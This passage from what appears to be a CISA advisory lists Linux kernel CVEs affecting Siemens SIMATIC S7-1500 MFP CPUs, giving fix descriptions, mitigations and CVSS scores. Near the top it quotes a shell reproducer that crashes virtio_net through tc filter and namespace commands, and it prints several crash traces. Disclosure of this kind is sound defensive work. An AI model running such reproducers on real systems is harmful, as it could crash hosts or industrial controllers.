[virtio_net] start_xmit+0x7c/0x530 drivers/net/virtio_net.c:3329 [virtio_net] ... Reproduction Steps: NETDEV="enp3s0" config_qdisc_route_filter() { tc qdisc del dev $NETDEV root tc qdisc add dev $NETDEV root handle 1: prio tc filter add dev $NETDEV parent 1:0 \ protocol ip prio 100 route to 100 flowid 1:1 ip route add 192.168.1.100/32 dev $NETDEV realm 100 } test_ns() { ip netns add testns ip link set $NETDEV netns testns ip netns exec testns ifconfig $NETDEV 10.0.32.46/24 ip netns exec testns ping -c 1 10.0.32.1 ip netns del testns } config_qdisc_route_filter test_ns sleep 2 test_ns</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31469">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31485</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: spi-fsl-lpspi: fix teardown order issue (UAF) There is a teardown order issue in the driver. The SPI controller is registered using devm_spi_register_controller(), which delays unregistration of the SPI controller until after the fsl_lpspi_remove() function returns. As the fsl_lpspi_remove() function synchronously tears down the DMA channels, a running SPI transfer triggers the following NULL pointer dereference due to use after free: | fsl_lpspi 42550000.spi: I/O Error in DMA RX | Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 [...] | Call trace: | fsl_lpspi_dma_transfer+0x260/0x340 [spi_fsl_lpspi] | fsl_lpspi_transfer_one+0x198/0x448 [spi_fsl_lpspi] | spi_transfer_one_message+0x49c/0x7c8 | __spi_pump_transfer_message+0x120/0x420 | __spi_sync+0x2c4/0x520 | spi_sync+0x34/0x60 | spidev_message+0x20c/0x378 [spidev] | spidev_ioctl+0x398/0x750 [spidev] [...] Switch from devm_spi_register_controller() to spi_register_controller() in fsl_lpspi_probe() and add the corresponding spi_unregister_controller() in fsl_lpspi_remove().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31485">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31494</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: macb: use the current queue number for stats There's a potential mismatch between the memory reserved for statistics and the amount of memory written. gem_get_sset_count() correctly computes the number of stats based on the active queues, whereas gem_get_ethtool_stats() indiscriminately copies data using the maximum number of queues, and in the case the number of active queues is less than MACB_MAX_QUEUES, this results in a OOB write as observed in the KASAN splat. ================================================================== BUG: KASAN: vmalloc-out-of-bounds in gem_get_ethtool_stats+0x54/0x78 [macb] Write of size 760 at addr ffff80008080b000 by task ethtool/1027 CPU: [...] Tainted: [E]=UNSIGNED_MODULE Hardware name: raspberrypi rpi/rpi, BIOS 2025.10 10/01/2025 Call trace: show_stack+0x20/0x38 (C) dump_stack_lvl+0x80/0xf8 print_report+0x384/0x5e0 kasan_report+0xa0/0xf0 kasan_check_range+0xe8/0x190 __asan_memcpy+0x54/0x98 gem_get_ethtool_stats+0x54/0x78 [macb 926c13f3af83b0c6fe64badb21ec87d5e93fcf65] dev_ethtool+0x1220/0x38c0 dev_ioctl+0x4ac/0xca8 sock_do_ioctl+0x170/0x1d8 sock_ioctl+0x484/0x5d8 __arm64_sys_ioctl+0x12c/0x1b8 invoke_syscall+0xd4/0x258 el0_svc_common.constprop.0+0xb4/0x240 do_el0_svc+0x48/0x68 el0_svc+0x40/0xf8 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1b0/0x1b8 The buggy address belongs to a 1-page vmalloc region starting at 0xffff80008080b000 allocated at dev_ethtool+0x11f0/0x38c0 The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff00000a333000 pfn:0xa333 flags: 0x7fffc000000000(node=0|zone=0|lastcpupid=0x1ffff) raw: 007fffc000000000 0000000000000000 dead000000000122 0000000000000000 raw: ffff00000a333000 0000000000000000 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff80008080b080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff80008080b100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &gt;ffff80008080b180: 00 00 00 00 00 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ^ ffff80008080b200: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ffff80008080b280: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ================================================================== Fix it by making sure the copied size only considers the active number of queues.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31494">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31495</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: use netlink policy range checks Replace manual range and mask validations with netlink policy annotations in ctnetlink code paths, so that the netlink core rejects invalid values early and can generate extack errors. - CTA_PROTOINFO_TCP_STATE: reject values &gt; TCP_CONNTRACK_SYN_SENT2 at policy level, removing the manual &gt;= TCP_CONNTRACK_MAX check. - CTA_PROTOINFO_TCP_WSCALE_ORIGINAL/REPLY: reject values &gt; TCP_MAX_WSCALE (14). The normal TCP option parsing path already clamps to this value, but the ctnetlink path accepted 0-255, causing undefined behavior when used as a u32 shift count. - CTA_FILTER_ORIG_FLAGS/REPLY_FLAGS: use NLA_POLICY_MASK with CTA_FILTER_F_ALL, removing the manual mask checks. - CTA_EXPECT_FLAGS: use NLA_POLICY_MASK with NF_CT_EXPECT_MASK, adding a new mask define grouping all valid expect flags. Extracted from a broader nf-next patch by Florian Westphal, scoped to ctnetlink for the fixes tree.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31495">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1287.html">CWE-1287 Improper Validation of Specified Type of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31496</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_expect: skip expectations in other netns via proc Skip expectations that do not reside in this netns. Similar to e77e6ff502ea ("netfilter: conntrack: do not dump other netns's conntrack entries via proc").</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31503</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: udp: Fix wildcard bind conflict check when using hash2 When binding a udp_sock to a local address and port, UDP uses two hashes (udptable-&gt;hash and udptable-&gt;hash2) for collision detection. The current code switches to "hash2" when hslot-&gt;count &gt; 10. "hash2" is keyed by local address and local port. "hash" is keyed by local port only. The issue can be shown in the following bind sequence (pseudo code): bind(fd1, "[fd00::1]:8888") bind(fd2, "[fd00::2]:8888") bind(fd3, "[fd00::3]:8888") bind(fd4, "[fd00::4]:8888") bind(fd5, "[fd00::5]:8888") bind(fd6, "[fd00::6]:8888") bind(fd7, "[fd00::7]:8888") bind(fd8, "[fd00::8]:8888") bind(fd9, "[fd00::9]:8888") bind(fd10, "[fd00::10]:8888") /* Correctly return -EADDRINUSE because "hash" is used * instead of "hash2". udp_lib_lport_inuse() detects the * conflict. */ bind(fail_fd, "[::]:8888") /* After one more socket is bound to "[fd00::11]:8888", * hslot-&gt;count exceeds 10 and "hash2" is used instead. */ bind(fd11, "[fd00::11]:8888") bind(fail_fd, "[::]:8888") /* succeeds unexpectedly */ The same issue applies to the IPv4 wildcard address "0.0.0.0" and the IPv4-mapped wildcard address "::ffff:0.0.0.0". For example, if there are existing sockets bound to "192.168.1.[1-11]:8888", then binding "0.0.0.0:8888" or "[::ffff:0.0.0.0]:8888" can also miss the conflict when hslot-&gt;count &gt; 10. TCP inet_csk_get_port() already has the correct check in inet_use_bhash2_on_bind(). Rename it to inet_use_hash2_on_bind() and move it to inet_hashtables.h so udp.c can reuse it in this fix.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31503">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31504</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix fanout UAF in packet_release() via NETDEV_UP race `packet_release()` has a race window where `NETDEV_UP` can re-register a socket into a fanout group's `arr[]` array. The re-registration is not cleaned up by `fanout_release()`, leaving a dangling pointer in the fanout array. `packet_release()` does NOT zero `po-&gt;num` in its `bind_lock` section. After releasing `bind_lock`, `po-&gt;num` is still non-zero and `po-&gt;ifindex` still matches the bound device. A concurrent `packet_notifier(NETDEV_UP)` that already found the socket in `sklist` can re-register the hook. For fanout sockets, this re-registration calls `__fanout_link(sk, po)` which adds the socket back into `f-&gt;arr[]` and increments `f-&gt;num_members`, but does NOT increment `f-&gt;sk_ref`. The fix sets `po-&gt;num` to zero in `packet_release` while `bind_lock` is held to prevent NETDEV_UP from linking, preventing the race window. This bug was found following an additional audit with Claude Code based on CVE-2025-38617.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31504">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31507</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/smc: fix double-free of smc_spd_priv when tee() duplicates splice pipe buffer smc_rx_splice() allocates one smc_spd_priv per pipe_buffer and stores the pointer in pipe_buffer.private. The pipe_buf_operations for these buffers used .get = generic_pipe_buf_get, which only increments the page reference count when tee(2) duplicates a pipe buffer. The smc_spd_priv pointer itself was not handled, so after tee() both the original and the cloned pipe_buffer share the same smc_spd_priv *. When both pipes are subsequently released, smc_rx_pipe_buf_release() is called twice against the same object: 1st call: kfree(priv) sock_put(sk) smc_rx_update_cons() [correct] 2nd call: kfree(priv) sock_put(sk) smc_rx_update_cons() [UAF] KASAN reports a slab-use-after-free in smc_rx_pipe_buf_release(), which then escalates to a NULL-pointer dereference and kernel panic via smc_rx_update_consumer() when it chases the freed priv-&gt;smc pointer: BUG: KASAN: slab-use-after-free in smc_rx_pipe_buf_release+0x78/0x2a0 Read of size 8 at addr ffff888004a45740 by task smc_splice_tee_/74 Call Trace: dump_stack_lvl+0x53/0x70 print_report+0xce/0x650 kasan_report+0xc6/0x100 smc_rx_pipe_buf_release+0x78/0x2a0 free_pipe_info+0xd4/0x130 pipe_release+0x142/0x160 __fput+0x1c6/0x490 __x64_sys_close+0x4f/0x90 do_syscall_64+0xa6/0x1a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f BUG: kernel NULL pointer dereference, address: 0000000000000020 RIP: 0010:smc_rx_update_consumer+0x8d/0x350 Call Trace: smc_rx_pipe_buf_release+0x121/0x2a0 free_pipe_info+0xd4/0x130 pipe_release+0x142/0x160 __fput+0x1c6/0x490 __x64_sys_close+0x4f/0x90 do_syscall_64+0xa6/0x1a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f Kernel panic - not syncing: Fatal exception Beyond the memory-safety problem, duplicating an SMC splice buffer is semantically questionable: smc_rx_update_cons() would advance the consumer cursor twice for the same data, corrupting receive-window accounting. A refcount on smc_spd_priv could fix the double-free, but the cursor-accounting issue would still need to be addressed separately. The .get callback is invoked by both tee(2) and splice_pipe_to_pipe() for partial transfers; both will now return -EFAULT. Users who need to duplicate SMC socket data must use a copy-based read path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31507">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31508</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: Avoid releasing netdev before teardown completes The patch cited in the Fixes tag below changed the teardown code for OVS ports to no longer unconditionally take the RTNL. After this change, the netdev_destroy() callback can proceed immediately to the call_rcu() invocation if the IFF_OVS_DATAPATH flag is already cleared on the netdev. The ovs_netdev_detach_dev() function clears the flag before completing the unregistration, and if it gets preempted after clearing the flag (as can happen on an -rt kernel), netdev_destroy() can complete and the device can be freed before the unregistration completes. This leads to a splat like: [ 998.393867] Oops: general protection fault, probably for non-canonical address 0xff00000001000239: 0000 [#1] SMP PTI [ 998.393877] CPU: 42 UID: 0 PID: 55177 Comm: ip Kdump: loaded Not tainted 6.12.0-211.1.1.el10_2.x86_64+rt #1 PREEMPT_RT [ 998.393886] Hardware name: Dell Inc. PowerEdge R740/0JMK61, BIOS 2.24.0 03/27/2025 [ 998.393889] RIP: 0010:dev_set_promiscuity+0x8d/0xa0 [ 998.393901] Code: 00 00 75 d8 48 8b 53 08 48 83 ba b0 02 00 00 00 75 ca 48 83 c4 08 5b c3 cc cc cc cc 48 83 bf 48 09 00 00 00 75 91 